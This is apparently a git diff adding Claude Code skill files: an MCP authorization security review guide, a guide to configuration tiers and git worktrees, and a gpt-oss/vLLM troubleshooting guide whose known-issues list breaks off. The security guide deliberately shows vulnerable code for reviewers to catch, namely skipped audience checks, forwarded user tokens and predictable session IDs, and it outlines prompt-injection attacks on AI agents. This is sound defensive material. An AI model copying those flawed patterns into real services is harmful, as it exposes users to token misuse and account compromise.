+@app.route('/authorize') +def authorize(): + code_challenge = request.args.get('code_challenge') + code_challenge_method = request.args.get('code_challenge_method') + + if not code_challenge or code_challenge_method != 'S256': + return {'error': 'invalid_request', 'error_description': 'PKCE required'}, 400 + + auth_code = generate_auth_code(code_challenge) + return redirect(f'{redirect_uri}?code={auth_code}') +``` + +**Severity:** CRITICAL if PKCE missing, HIGH if OAuth 2.0 instead of 2.1 + +### 2. Resource Indicators (RFC 8707) - MANDATORY + +MCP clients MUST implement Resource Indicators to explicitly specify the target MCP server. + +**Purpose:** +- Ensures tokens are audience-restricted to specific MCP servers +- Prevents token misuse across different MCP servers +- Enables proper multi-tenant security + +**What to Look For in PRs:** +```python +# ❌ MISSING RESOURCE INDICATOR +token_request = { + 'grant_type': 'authorization_code', + 'code': auth_code, + 'redirect_uri': redirect_uri, + # Missing 'resource' parameter! +} + +# ✅ CORRECT - WITH RESOURCE INDICATOR +token_request = { + 'grant_type': 'authorization_code', + 'code': auth_code, + 'redirect_uri': redirect_uri, + 'resource': 'https://mcp-server.example.com', # Explicit target + 'code_verifier': code_verifier # PKCE +} +``` + +**Audience Validation:** +```python +# ✅ MCP SERVER MUST VALIDATE AUDIENCE +def validate_token(token): + try: + payload = jwt.decode( + token, + public_key, + algorithms=['RS256'], + audience='https://mcp-server.example.com', # Must match resource + issuer='https://auth.example.com' + ) + return payload + except jwt.InvalidAudienceError: + raise HTTPException(403, 'Token not intended for this MCP server') +``` + +**Severity:** CRITICAL if missing + +### 3. Strict Token Acceptance Policy + +**MCP servers MUST NOT accept tokens that were not explicitly issued for them.** + +This is the core defense against confused deputy attacks. + +**What to Look For in PRs:** +```python +# ❌ VULNERABLE - ACCEPTS ANY TOKEN +def authorize_request(request): + token = request.headers.get('Authorization', '').replace('Bearer ', '') + # No audience validation! + payload = jwt.decode(token, public_key, algorithms=['RS256']) + return payload['user_id'] + +# ✅ SECURE - VALIDATES AUDIENCE +def authorize_request(request): + token = request.headers.get('Authorization', '').replace('Bearer ', '') + try: + payload = jwt.decode( + token, + public_key, + algorithms=['RS256'], + audience=MCP_SERVER_IDENTIFIER, # This server's identifier + issuer=TRUSTED_ISSUER + ) + except jwt.InvalidAudienceError: + raise Forbidden('Token not issued for this MCP server') + + return payload +``` + +**Severity:** CRITICAL + +### 4. Scope Validation and Insufficient Scope Response + +MCP servers MUST validate that tokens have the required scopes for operations. + +**Required Behavior:** +- When a token has insufficient scope, respond with HTTP 403 Forbidden +- Include `WWW-Authenticate` header with `error="insufficient_scope"` +- Optionally include `scope` parameter indicating required scopes + +**What to Look For in PRs:** +```python +# ❌ MISSING SCOPE VALIDATION +@app.route('/tools/invoke', methods=['POST']) +def invoke_tool(token_payload): + # No scope check! + result = execute_tool(request.json['tool_name']) + return result + +# ✅ CORRECT SCOPE VALIDATION +@app.route('/tools/invoke', methods=['POST']) +def invoke_tool(token_payload): + required_scope = 'tools.invoke' + + if required_scope not in token_payload.get('scope', '').split(): + response = Response( + 'Insufficient scope', + status=403, + headers={ + 'WWW-Authenticate': f'Bearer error="insufficient_scope", scope="{required_scope}"' + } + ) + return response + + result = execute_tool(request.json['tool_name']) + return result +``` + +**Severity:** HIGH + +### 5. No Session-Based Authentication + +**MCP servers MUST NOT use sessions for authentication.** + +This is a specific requirement of the MCP specification. + +**What to Look For in PRs:** +```python +# ❌ VIOLATES MCP SPEC - USING SESSIONS +@app.route('/tools/list') +def list_tools(): + if 'user_id' not in session: + return {'error': 'unauthorized'}, 401 + # Using Flask session - NOT ALLOWED + +# ✅ COMPLIANT - TOKEN-BASED +@app.route('/tools/list') +def list_tools(): + token = request.headers.get('Authorization', '').replace('Bearer ', '') + payload = validate_mcp_token(token) # OAuth 2.1 token validation + return get_tools_for_user(payload['sub']) +``` + +**Severity:** CRITICAL - violates MCP specification + +### 6. Secure Session ID Generation (if used for OAuth flow) + +If the MCP server or authorization server uses session IDs during the OAuth flow (not for authentication): + +**Requirements:** +- MUST use secure, non-deterministic session IDs +- MUST use cryptographically secure random number generators +- MUST have sufficient entropy to prevent guessing + +**What to Look For in PRs:** +```python +# ❌ WEAK SESSION ID +import random +session_id = str(random.randint(1000, 9999)) # Predictable! + +# ✅ SECURE SESSION ID +import secrets +session_id = secrets.token_urlsafe(32) # Cryptographically secure +``` + +**Severity:** HIGH + +## Token Forwarding to MCP Servers + +### The Critical Security Issue + +A common anti-pattern is forwarding user authentication tokens from an inference server (or other service) to an MCP server. + +**Example of Vulnerable Flow:** +``` +User → Inference Server (with user JWT) + ↓ + Inference Server → MCP Server (forwarding user JWT) ❌ INSECURE +``` + +**Why This Is Dangerous:** + +1. **Audience Mismatch**: User JWT has `aud` claim for inference server, not MCP server +2. **Confused Deputy**: MCP server cannot verify inference server is authorized to delegate +3. **No Scope Restriction**: MCP server receives user's full permissions, not downscoped +4. **Violates MCP Spec**: MCP servers must only accept tokens issued for them + +**What to Look For in PRs:** +```python +# ❌ CRITICAL VULNERABILITY +class InferenceServer: + def call_mcp_tool(self, user_token, tool_name, params): + # Forwarding user token directly to MCP server! + response = requests.post( + f'{MCP_SERVER_URL}/tools/invoke', + headers={'Authorization': f'Bearer {user_token}'}, # WRONG! + json={'tool': tool_name, 'params': params} + ) + return response.json() +``` + +**Severity:** CRITICAL - Must be blocked before merge + +### The Correct Pattern: Token Exchange + +**Secure Flow:** +``` +User → Inference Server (with user JWT) + ↓ (validate user JWT) + Inference Server → Auth Server (token exchange request) + ↓ (receives MCP-scoped token) + Inference Server → MCP Server (with MCP-specific token) ✓ SECURE +``` + +**What to Look For in PRs:** +```python +# ✅ CORRECT - TOKEN EXCHANGE +class InferenceServer: + def call_mcp_tool(self, user_token, tool_name, params): + # Step 1: Validate user token + user_claims = self.validate_user_token(user_token) + + # Step 2: Exchange for MCP-specific token + mcp_token = self.exchange_token_for_mcp( + user_token=user_token, + mcp_server='https://mcp-server.example.com', + required_scopes=['tools.invoke'] + ) + + # Step 3: Use MCP-specific token + response = requests.post( + f'{MCP_SERVER_URL}/tools/invoke', + headers={'Authorization': f'Bearer {mcp_token}'}, # Correct audience + json={'tool': tool_name, 'params': params} + ) + return response.json() + + def exchange_token_for_mcp(self, user_token, mcp_server, required_scopes): + """Exchange user token for MCP-server-specific token""" + exchange_response = requests.post( + f'{AUTH_SERVER_URL}/token', + data={ + 'grant_type': 'urn:ietf:params:oauth:grant-type:token-exchange', + 'subject_token': user_token, + 'subject_token_type': 'urn:ietf:params:oauth:token-type:access_token', + 'resource': mcp_server, # RFC 8707 Resource Indicator + 'scope': ' '.join(required_scopes) # Downscoped + } + ) + + if exchange_response.status_code != 200: + raise AuthorizationError('Token exchange failed') + + return exchange_response.json()['access_token'] +``` + +**Key Security Benefits:** +1. ✅ MCP token has correct `aud` claim for the MCP server +2. ✅ Token is downscoped to minimum needed permissions +3. ✅ Clear audit trail preserved (user → inference → MCP) +4. ✅ Complies with MCP OAuth 2.1 specification +5. ✅ Prevents confused deputy attacks +6. ✅ MCP server can properly validate the token + +**Severity:** Implementation of token exchange is CRITICAL when missing + +## MCP Server Architecture Patterns + +### Pattern 1: Embedded Authorization Server + +The MCP server includes its own auth system. + +**Characteristics:** +- Handles login, user sessions, consent UI +- Issues and verifies tokens +- Acts as both authorization server and resource server + +**Security Considerations:** +- Must implement full OAuth 2.1 spec +- Requires secure user credential management +- Needs proper consent UI for user authorization +- Session management during OAuth flow (not for MCP operations) + +### Pattern 2: External Authorization Server (Recommended) + +The MCP server delegates OAuth to a trusted external provider. + +**Characteristics:** +- Authorization server handles authentication, user management, consent +- MCP server only validates tokens and enforces scopes +- Clear separation of concerns + +**Security Benefits:** +- Leverages battle-tested auth infrastructure +- Reduces attack surface of MCP server +- Easier to audit and maintain +- Better compliance with OAuth 2.1 spec + +**What to Look For in PRs:** +```python +# ✅ EXTERNAL AUTH SERVER PATTERN +class MCPServer: + def __init__(self, auth_server_url, mcp_server_id): + self.auth_server_url = auth_server_url + self.mcp_server_id = mcp_server_id + # Fetch public keys from auth server + self.public_keys = self.fetch_jwks() + + def validate_token(self, token): + """Validate token issued by external auth server""" + try: + payload = jwt.decode( + token, + self.public_keys, + algorithms=['RS256'], + audience=self.mcp_server_id, + issuer=self.auth_server_url + ) + return payload + except jwt.InvalidTokenError as e: + raise Unauthorized(str(e)) + + def fetch_jwks(self): + """Fetch JSON Web Key Set from auth server""" + response = requests.get(f'{self.auth_server_url}/.well-known/jwks.json') + return response.json() +``` + +## Transport Security + +### Mutual TLS (mTLS) + +For production MCP deployments, especially in enterprise environments: + +**Requirement:** Transport security SHOULD use mutual TLS (mTLS) for bidirectional verification. + +**What to Look For in PRs:** +```python +# ✅ mTLS CONFIGURATION +import ssl + +context = ssl.create_default_context(ssl.Purpose.CLIENT_AUTH) +context.verify_mode = ssl.CERT_REQUIRED +context.load_cert_chain(certfile='server.crt', keyfile='server.key') +context.load_verify_locations(cafile='client_ca.crt') + +# Use context in server configuration +server = HTTPServer(('localhost', 8443), MCPRequestHandler) +server.socket = context.wrap_socket(server.socket, server_side=True) +``` + +**Severity:** MEDIUM for internal deployments, HIGH for external-facing servers + +### HTTPS Mandatory + +**All MCP communication MUST occur over HTTPS (or equivalent secure transport).** + +**What to Look For in PRs:** +- HTTP URLs in production configurations (red flag) +- Missing TLS/SSL certificate validation +- Disabled certificate verification (`verify=False`) + +**Severity:** CRITICAL if HTTP used in production + +## Security Risks Specific to MCP + +### 1. High-Value Target + +MCP servers store tokens for multiple services. If compromised: +- Attacker gains access to all connected service tokens +- Can execute actions across all integrated services +- Potential for lateral movement across services + +**Mitigation:** +- Encrypt tokens at rest +- Use short-lived tokens with refresh +- Implement rate limiting and anomaly detection +- Audit all token usage + +### 2. Prompt Injection Attacks + +AI agents can be manipulated through prompt injection to: +- Execute unintended MCP tool invocations +- Access unauthorized resources +- Exfiltrate data through tool responses + +**What to Look For in PRs:** +- Input validation on tool parameters +- Scope restrictions preventing dangerous operations +- Audit logging of all tool invocations +- User confirmation for sensitive operations + +**Severity:** HIGH to CRITICAL depending on MCP server capabilities + +### 3. Cross-Prompt Injection + +Malicious content embedded in documents or UI can override agent instructions. + +**Mitigation:** +- Sanitize external content before processing +- Implement content security policies +- Separate user instructions from external content +- Require explicit user confirmation for sensitive actions + +**Severity:** HIGH + +### 4. Remote Code Execution Risk + +If MCP tools can execute code or system commands, prompt injection could lead to RCE. + +**What to Look For in PRs:** +- Code execution capabilities without sandboxing +- System command execution from tool parameters +- File system access without path validation +- Network access without destination whitelisting + +**Severity:** CRITICAL + +## Review Checklist for MCP Code + +When reviewing PRs involving MCP server implementation: + +### Critical Checks +- [ ] **OAuth 2.1 compliance**: Using OAuth 2.1 (not 2.0) +- [ ] **PKCE mandatory**: All authorization flows use PKCE with S256 +- [ ] **Resource Indicators**: Token requests include explicit `resource` parameter +- [ ] **Audience validation**: Server validates `aud` claim matches its identifier +- [ ] **No token forwarding**: Server doesn't accept tokens issued for other services +- [ ] **Token exchange**: Uses token exchange for upstream service calls +- [ ] **No session auth**: Doesn't use sessions for MCP operation authentication + +### High Priority Checks +- [ ] **Scope validation**: Validates required scopes and returns proper insufficient_scope errors +- [ ] **Issuer validation**: Validates `iss` claim against trusted issuers +- [ ] **Algorithm enforcement**: Explicit algorithm list (no `none`, no user-controlled) +- [ ] **Signature validation**: All tokens cryptographically validated +- [ ] **HTTPS/TLS**: All communication over secure transport +- [ ] **Input validation**: Tool parameters validated and sanitized + +### Medium Priority Checks +- [ ] **Token storage**: Tokens encrypted at rest +- [ ] **Audit logging**: Tool invocations logged with user context +- [ ] **Rate limiting**: Prevents abuse of MCP endpoints +- [ ] **Least privilege**: Scopes are minimal and specific +- [ ] **mTLS consideration**: mTLS for production deployments +- [ ] **Secure session IDs**: If used in OAuth flow, cryptographically random + +### MCP-Specific Security Patterns + +**Inference Server + MCP Architecture:** +``` +✅ SECURE PATTERN: +1. User authenticates to inference server +2. Inference server validates user token +3. Inference server exchanges token for MCP-specific token +4. Inference server invokes MCP with proper token +5. MCP server validates audience matches its identifier + +❌ INSECURE PATTERN: +1. User authenticates to inference server +2. Inference server forwards user token to MCP +3. MCP server accepts token not issued for it +``` + +## Platform-Specific Considerations + +### Windows 11 MCP Proxy + +Windows 11 provides centralized MCP proxy for security: + +**Features:** +- Proxy-mediated communication for all MCP interactions +- Centralized policy enforcement +- Consistent authentication and authorization +- Enhanced audit and monitoring + +**What to Look For in PRs:** +- Windows platform should integrate with Windows 11 MCP proxy +- Proxy configuration and policy settings +- Proper certificate validation for proxy communication + +**Severity:** MEDIUM for Windows deployments + +## Key Standards and Specifications + +- **MCP Authorization Spec** (June 2025): Official OAuth 2.1 authorization for MCP +- **OAuth 2.1**: Required authorization framework +- **RFC 7636**: PKCE - Mandatory for all MCP clients +- **RFC 8707**: Resource Indicators - Mandatory for MCP token requests +- **RFC 8693**: Token Exchange - Recommended for service-to-service delegation +- **RFC 9068**: JWT Profile for OAuth 2.0 Access Tokens +- **RFC 9700**: OAuth 2.0 Security Best Current Practice (January 2025) + +## When to Escalate + +Escalate to security team or mark as CRITICAL if you find: + +1. **Token forwarding**: Inference/API servers forwarding user tokens to MCP servers +2. **Missing audience validation**: MCP server accepts tokens without validating `aud` claim +3. **No PKCE**: Authorization flow missing PKCE implementation +4. **No Resource Indicators**: Token requests missing `resource` parameter +5. **Session-based auth**: Using sessions for MCP operation authentication +6. **Prompt injection risks**: MCP tools with code execution and no sandboxing +7. **Missing OAuth 2.1**: Still using OAuth 2.0 instead of 2.1 +8. **HTTP communication**: Production MCP server using HTTP instead of HTTPS + +## Summary + +MCP authorization security requires: +1. **OAuth 2.1** with PKCE (mandatory) +2. **Resource Indicators** (RFC 8707) for explicit audience targeting +3. **Strict token validation** (audience, issuer, signature, scopes) +4. **Token exchange** for service-to-service delegation (not forwarding) +5. **No session-based authentication** for MCP operations +6. **Secure transport** (HTTPS/TLS, preferably mTLS) +7. **Input validation** and prompt injection protection + +The most common vulnerability is token forwarding from inference servers to MCP servers. This must be replaced with proper token exchange flows. diff --git a/skills/cross-repo-config/SKILL.md b/skills/cross-repo-config/SKILL.md new file mode 100644 index 0000000..ed27474 --- /dev/null +++ b/skills/cross-repo-config/SKILL.md @@ -0,0 +1,358 @@ +--- +name: Managing Cross-Repository Configuration +description: Use when user asks where to put configuration, skills, or learnings, or discusses sharing config across projects. Provides decision criteria for the three-tier architecture (global ~/.claude, plugin, project-local .claude) to prevent duplication and ensure reusability. Invoke before creating new skills or configuration to determine the correct tier and location. +--- + +# Managing Cross-Repository Configuration + +When working across multiple repositories (e.g., your marketplace repo, vLLM, llama stack, etc.), you need a clear strategy for where to store configurations, learnings, and skills to ensure consistency without duplication. + +## Three-Tier Architecture + +Claude Code supports three tiers of configuration, each with specific use cases: + +### 1. Global Configuration (`~/.claude/CLAUDE.md`) + +**Use for:** +- Personal coding style preferences +- General development patterns you prefer across all projects +- Your personal workflow preferences +- Cross-language, cross-project knowledge +- Tool usage preferences +- Communication style preferences + +**Benefits:** +- Automatically available in ALL repositories +- No installation or setup needed +- Single source of truth for personal preferences +- Simplest approach for most user preferences + +**Example content:** +```markdown +# Python code style +- Always put imports at the top of the file, not within methods +- Use descriptive variable names over comments + +# General preferences +- Prefer Edit tool over Write for existing files +- Keep commit messages concise and action-oriented +``` + +### 2. Plugin Skills (in marketplace/plugin repos) + +**Use for:** +- Domain-specific expertise (e.g., PR review patterns, testing strategies) +- Shareable, reusable capabilities +- Structured knowledge for specific problem domains +- Workflow patterns others might benefit from + +**Benefits:** +- Versioned and organized by domain +- Shareable across teams +- Available wherever marketplace is installed +- Can be distributed and maintained separately + +**When to use:** +- Creating reusable capabilities for specific domains +- Knowledge that should be version-controlled +- Patterns that could benefit others +- Structured workflows with multiple steps + +### 3. Project-Local Configuration (`.claude/CLAUDE.md` in project) + +**Use for:** +- This specific codebase's architecture patterns +- Project-specific conventions and decisions +- Team agreements for this repository +- Codebase-specific context + +**Benefits:** +- Only applies to this repository +- Can be committed to version control +- Shared across team members +- Won't interfere with other projects + +**Example content:** +```markdown +# This Project's Patterns + +- Authentication uses JWT tokens stored in httpOnly cookies +- All API routes go through middleware/auth.ts +- Database migrations use Prisma in prisma/migrations/ +``` + +## Decision Framework + +When deciding where to store configuration or learnings, ask: + +**Is this personal preference?** → Global (`~/.claude/CLAUDE.md`) +- Coding style you prefer +- Your workflow patterns +- How you like tools to be used + +**Is this shareable domain knowledge?** → Plugin Skill +- PR review techniques +- Testing strategies +- Deployment patterns +- General best practices + +**Is this specific to one codebase?** → Project-Local (`.claude/CLAUDE.md`) +- Where files are located in this repo +- This project's architecture decisions +- Team conventions for this codebase + +## Cross-Repository Consistency + +To ensure consistency across all repositories: + +### For Personal Preferences +Use `~/.claude/CLAUDE.md` exclusively. This automatically applies everywhere you use Claude Code. + +### For Domain Knowledge +Create plugin skills in a marketplace repository: +1. Develop skills in your marketplace source repo +2. Version and commit skills +3. Install marketplace globally or per-project +4. Skills available wherever marketplace is installed +5. Update skills in source repo, push changes +6. Other repos get updates when they reload + +### For Project-Specific Patterns +Use project-local `.claude/CLAUDE.md` committed to that repository's version control. + +## Implementation Pattern: The `/learn` Command + +A well-designed `/learn` command should: + +1. **Identify the learning type** from the conversation +2. **Ask the user** which tier is appropriate: + - Global: Personal preferences + - Plugin Skill: Domain expertise + - Project-Local: This codebase's patterns +3. **Save accordingly**: + - Global: Append to `~/.claude/CLAUDE.md` + - Plugin: Use skill-builder to create/update skill + - Project: Append to `.claude/CLAUDE.md` in current repo +4. **Confirm** where the learning was saved + +This ensures learnings are: +- Scoped appropriately +- Discoverable where needed +- Not duplicated across tiers + +## Common Anti-Patterns + +**DON'T:** +- Store personal preferences in project-local files (won't follow you) +- Store project-specific patterns globally (pollutes other projects) +- Create plugin skills for one-off project patterns +- Duplicate the same guidance across multiple tiers + +**DO:** +- Use the simplest tier that meets your needs +- Default to global for personal preferences +- Use plugins for reusable, shareable knowledge +- Keep project-local truly project-specific + +## Validation + +To verify your configuration architecture: + +1. **Test global application**: Check that `~/.claude/CLAUDE.md` preferences apply in a new, unrelated repository +2. **Test plugin availability**: Verify plugin skills work in projects where the marketplace is installed +3. **Test isolation**: Confirm project-local settings don't leak to other repositories +4. **Check for duplication**: Ensure the same guidance doesn't exist in multiple tiers + +## Example Scenario + +**Situation:** You learn a better way to write commit messages while working on vLLM. + +**Decision process:** +- Is this how YOU prefer all commit messages? → Global +- Is this a general best practice for commit messages? → Plugin Skill +- Is this how vLLM specifically wants commits? → Project-Local + +Most likely: **Global** (`~/.claude/CLAUDE.md`) because commit message style is typically a personal preference that should apply everywhere you work. + +## Working with Git Worktrees + +When frequently context-switching between multiple PRs or bugs, git worktrees provide a better workflow than stashing or multiple clones. + +### Why Worktrees? + +**Use worktrees when:** +- You need to switch between multiple branches/PRs frequently throughout the day +- You want separate working directories for each branch +- You don't want to stash/commit WIP when context-switching + +**Benefits over alternatives:** +- Each worktree is a separate directory with its own branch +- Share the same `.git` repository (saves space vs multiple clones) +- No need to stash/commit when switching contexts +- Claude Code can work independently in each worktree + +### Basic Worktree Usage + +```bash +# Create worktree for existing branch +git worktree add ../myrepo-feature-x feature-x + +# Create worktree with new branch +git worktree add ../myrepo-bugfix -b bugfix/issue-123 + +# List all worktrees +git worktree list + +# Remove worktree when done +git worktree remove ../myrepo-feature-x +``` + +### Sharing .claude Configuration Across Worktrees + +**Scenario 1: Team project where `.claude/` is committed** + +No special setup needed! The `.claude/CLAUDE.md` file is in version control, so all worktrees automatically share the same configuration through git. + +**Scenario 2: Large OSS project where `.claude/` cannot be committed** + +Use symlinks to share your project-local configuration across worktrees: + +```bash +# In your main worktree (keep the real .claude directory here) +ls .claude/CLAUDE.md # Verify it exists + +# In each additional worktree +cd ../myrepo-feature-x +rm -rf .claude # Remove if it exists +ln -s /full/path/to/main-worktree/.claude .claude + +# Prevent accidental commits +echo ".claude" >> .git/info/exclude +``` + +### Automation Script for OSS Projects + +Create a script to automate worktree creation with shared `.claude/`: + +```bash +#!/bin/bash +# create-worktree.sh +PROJECT_NAME=$(basename $(git rev-parse --show-toplevel)) +MAIN_WORKTREE=$(git rev-parse --show-toplevel) +BRANCH=$1 +WORKTREE_DIR="../${PROJECT_NAME}-${BRANCH}" + +# Create the worktree +git worktree add "$WORKTREE_DIR" -b "$BRANCH" + +# Symlink .claude directory +cd "$WORKTREE_DIR" +rm -rf .claude +ln -s "${MAIN_WORKTREE}/.claude" .claude + +# Exclude from git +echo ".claude" >> .git/info/exclude + +echo "Worktree created at $WORKTREE_DIR with shared .claude config" +``` + +Usage: +```bash +./create-worktree.sh feature/new-optimization +``` + +### Worktree Configuration Strategy + +With worktrees, your three-tier configuration works seamlessly: + +1. **Global** (`~/.claude/CLAUDE.md`) + - Automatically available in all worktrees + - No setup needed + +2. **Plugin Skills** (from marketplace) + - Available wherever marketplace is installed + - Works the same in all worktrees + +3. **Project-Local** (`.claude/CLAUDE.md`) + - **Committed projects**: Shared automatically via git + - **Uncommitted (OSS)**: Shared via symlinks + +### Common Worktree Mistakes + +**DON'T:** +- Use multiple full clones (wastes space and creates sync issues) +- Create separate `.claude/` directories in each worktree (causes divergence) +- Forget to symlink `.claude/` in OSS projects + +**DO:** +- Use worktrees for frequent context-switching +- Symlink `.claude/` for OSS projects where you can't commit configuration +- Keep one "main" worktree with the real `.claude/` directory +- Add `.claude` to `.git/info/exclude` in OSS projects + +## Ensuring Critical Skills Are Always Available + +Plugin skills are model-invoked based on description matching. For critical workflow information you want **guaranteed** in every session, use a hybrid approach. + +### Hybrid Pattern: Global + Plugin + +**When to use:** +- A plugin skill contains critical day-to-day workflow information +- You want core concepts available in every session, every project +- You need detailed guidance available on-demand + +**Implementation:** + +1. **Brief essentials in global config** (`~/.claude/CLAUDE.md`): + - Key reminders and principles + - Quick reference to core concepts + - Pointer to the detailed skill + +2. **Comprehensive details in plugin skill**: + - Full workflows and examples + - Decision frameworks + - Automation scripts + - Edge cases and anti-patterns + +**Example:** + +```markdown +# In ~/.claude/CLAUDE.md (always loaded) + +# Claude Code Configuration +- Three tiers: Global (~/.claude/CLAUDE.md), Plugin Skills, Project-Local (.claude/CLAUDE.md) +- For detailed guidance, use the cross-repo-config skill + +# Git Worktrees for Context-Switching +- Use git worktrees (not multiple clones) for frequent PR/bug switching +- In OSS projects: symlink .claude/ from main worktree +- For automation scripts, use the cross-repo-config skill +``` + +**Benefits:** +- Global config ensures core concepts are always present ✅ +- Skill provides detailed guidance when needed ✅ +- Reduces skill file size (progressive disclosure) ✅ +- Improves discoverability (explicit skill reference) ✅ +- User can quickly reference essentials ✅ + +**Don't:** +- Duplicate all skill content in global config +- Put project-specific patterns in global config +- Rely solely on skill discoverability for critical workflows + +**Do:** +- Keep global config entries brief (1-3 bullets per topic) +- Point to the skill name explicitly for details +- Ensure the skill is globally installed if critical + +## Tips for Success + +1. **Start with global**: Most personal preferences belong in `~/.claude/CLAUDE.md` +2. **Plugin skills for patterns**: Use when you'd answer "others could benefit from this" +3. **Project-local is rare**: Only truly project-specific architecture belongs here +4. **Review periodically**: Check if project-local settings should be elevated to global +5. **Keep it simple**: Don't over-engineer the tier structure +6. **Use worktrees for context-switching**: Better than stashing or multiple clones +7. **Symlink .claude in OSS projects**: Share configuration across worktrees when you can't commit +8. **Hybrid for critical skills**: Brief in global, detailed in skill, both globally available diff --git a/skills/gpt-oss-troubleshooting/SKILL.md b/skills/gpt-oss-troubleshooting/SKILL.md new file mode 100644 index 0000000..bfedc54 --- /dev/null +++ b/skills/gpt-oss-troubleshooting/SKILL.md @@ -0,0 +1,156 @@ +--- +name: Troubleshooting gpt-oss and vLLM Errors +description: Use when diagnosing openai_harmony.HarmonyError or gpt-oss tool calling issues with vLLM. Identifies error sources (vLLM server vs client), maps specific error messages to known GitHub issues, and provides configuration fixes for tool calling problems with gpt-oss models. +--- + +# Troubleshooting gpt-oss and vLLM Errors + +## When to Use This Skill + +Invoke this skill when you encounter: +- `openai_harmony.HarmonyError` messages in any context +- gpt-oss tool calling failures or unexpected behavior +- Token parsing errors with vLLM serving gpt-oss models +- Users asking about gpt-oss compatibility with frameworks like llama-stack + +## Critical First Step: Identify Error Source + +**IMPORTANT**: `openai_harmony.HarmonyError` messages originate from the **vLLM server**, NOT from client applications (like llama-stack, LangChain, etc.). + +### Error Source Identification + +1. **Check the error origin**: + - If error contains `openai_harmony.HarmonyError`, it's from vLLM's serving layer + - The client application is just reporting what vLLM returned + - Do NOT search the client codebase for fixes + +2. **Correct investigation path**: + - Search vLLM GitHub issues and PRs + - Check openai/harmony repository for parser issues + - Review vLLM server configuration and startup flags + - Examine HuggingFace model files (generation_config.json) + +## Common Error Patterns + +### Token Mismatch Errors + +**Error Pattern**: `Unexpected token X while expecting start token Y` + +**Example**: `Unexpected token 12606 while expecting start token 200006` + +**Meaning**: +- vLLM expects special Harmony format control tokens +- Model is generating regular text tokens instead +- Token 12606 = "comment" (indicates model generating reasoning text instead of tool calls) + +**Known Issues**: +- vLLM #22519: gpt-oss-20b tool_call token errors +- vLLM #22515: Same error, fixed by updating generation_config.json + +**Fixes**: +1. Update model files from HuggingFace (see reference/model-updates.md) +2. Verify vLLM server flags for tool calling +3. Check generation_config.json EOS tokens + +### Tool Calling Not Working + +**Symptoms**: +- Model describes tools in text but doesn't call them +- Empty `tool_calls=[]` arrays +- Tool responses in wrong format + +**Root Causes**: +1. Missing vLLM server flags +2. Outdated model configuration files +3. Configuration mismatch between client and server + +**Configuration Requirements**: + +vLLM server must be started with: +```bash +--tool-call-parser openai --enable-auto-tool-choice +``` + +For demo tool server: +```bash +--tool-server demo +``` + +For MCP tool servers: +```bash +--tool-server ip-1:port-1,ip-2:port-2 +``` + +**Important**: Only `tool_choice='auto'` is supported. + +## Investigation Workflow + +1. **Identify the error message**: + - Copy the exact error text + - Note any token IDs mentioned + +2. **Search vLLM GitHub**: + - Use error text in issue search + - Include "gpt-oss" and model size (20b/120b) + - Check both open and closed issues + +3. **Check model configuration**: + - Verify generation_config.json is current + - Compare against latest HuggingFace version + - Look for recent commits that updated config + +4. **Review server configuration**: + - Check vLLM startup flags + - Verify tool-call-parser settings + - Confirm vLLM version compatibility + +5. **Check vLLM version**: + - Many tool calling issues resolved in recent vLLM releases + - Update to latest version if encountering errors + - Check vLLM changelog for gpt-oss-specific fixes + +## Quick Reference + +### Key Resources +- vLLM gpt-oss recipe: https://docs.vllm.ai/projects/recipes/en/latest/OpenAI/GPT-OSS.html +- Common issues: See reference/known-issues.md +- Model update procedure: See reference/model-updates.md + +### Diagnostic Commands + +Check vLLM server health: +```bash +curl http://localhost:8000/health +``` + +List available models: +```bash +curl http://localhost:8000/v1/models +``` + +Check vLLM version: +```bash +pip show vllm +``` + +## Progressive Disclosure + +For detailed information: +- **Known GitHub issues**: See reference/known-issues.md +- **Model file updates**: See reference/model-updates.md +- **Tool calling configuration**: See reference/tool-calling-setup.md + +## Validation Steps + +After implementing fixes: +1. Test simple tool calling with single function +2. Verify Harmony format tokens in responses +3. Check for token mismatch errors in logs +4. Test multi-turn conversations with tools +5. Monitor for "unexpected token" errors + +If errors persist: +- Update vLLM to latest version +- Check vLLM GitHub for recent fixes and PRs +- Try different model variant (120b vs 20b) +- Review vLLM logs for additional error context diff --git a/skills/gpt-oss-troubleshooting/reference/known-issues.md b/skills/gpt-oss-troubleshooting/reference/known-issues.md new file mode 100644 index 0000000..9bb4f37 --- /dev/null +++ b/skills/gpt-oss-troubleshooting/reference/known-issues.md @@ -0,0 +1,111 @@ +# Known GitHub Issues for gpt-oss and vLLM + +## Active Issues + +### vLLM Repository + +#### Issue #22519: Token Error with gpt-oss-20b Tool Calls +- **URL**: https://github.com/vllm-project/vllm/issues/22519 +- **Error**: `Unexpected token 12606 while expecting start token 200006` +- **Status**: Open, To Triage +- **Model**: gpt-oss-20b +- **Symptoms**: + - Error occurs after model returns token 200012 + - Token 12606 = "comment" + - Hypothesis: Model incorrectly splitting "commentary" into "comment" + "ary" +- **Workaround**: None currently documented + +#### Issue #22515: Same Error, Fixed by Config Update +- **URL**: https://github.com/vllm-project/vllm/issues/22515 +- **Error**: Same token parsing error +- **Status**: Open +- **Fix**: Update generation_config.json from HuggingFace + - Specific commit: 8b193b0ef83bd41b40eb71fee8f1432315e02a3e + - User andresC98 confirmed this resolved the issue +- **Version**: Reported in vLLM v0.10.2 + +#### Issue #22578: gpt-oss-120b Tool Call Support +- **URL**: https://github.com/vllm-project/vllm/issues/22578 +- **Error**: Chat Completions endpoint tool_call not working +- **Status**: Open +- **Model**: gpt-oss-120b +- **Symptoms**: Tool calling doesn't work correctly via /v1/chat/completions + +#### Issue #22337: Empty Tool Calls Array +- **URL**: https://github.com/vllm-project/vllm/issues/22337 +- **Error**: tool_calls returning empty arrays +- **Status**: Open +- **Model**: gpt-oss-120b +- **Symptoms**: Content appears in wrong format, tool_calls=[] + +#### Issue #23567: Unexpected Tokens in Message Header +- **URL**: https://github.com/vllm-project/vllm/issues/23567 +- **Error**: `openai_harmony.HarmonyError: unexpected tokens remaining in message header` +- **Status**: Open +- **Symptoms**: Occurs in multi-turn conversations with gpt-oss-120b +- **Version**: vLLM v0.10.1 and v0.10.1.1 + +#### PR #24787: Tool Call Turn Tracking +- **URL**: https://github.com/vllm-project/vllm/pull/24787 +- **Title**: Pass toolcall turn to kv cache manager +- **Status**: Merged (September 2025) +- **Description**: Adds toolcall_turn parameter for tracking turns in tool-calling conversations +- **Impact**: Enables better prefix cache statistics for tool calling + +### HuggingFace Discussions + +#### gpt-oss-20b Discussion #80: Tool Calling Configuration +- **URL**: https://huggingface.co/openai/gpt-oss-20b/discussions/80 +- **Summary**: Community discussion about tool calling best practices +- **Key Findings**: + - Explicit tool 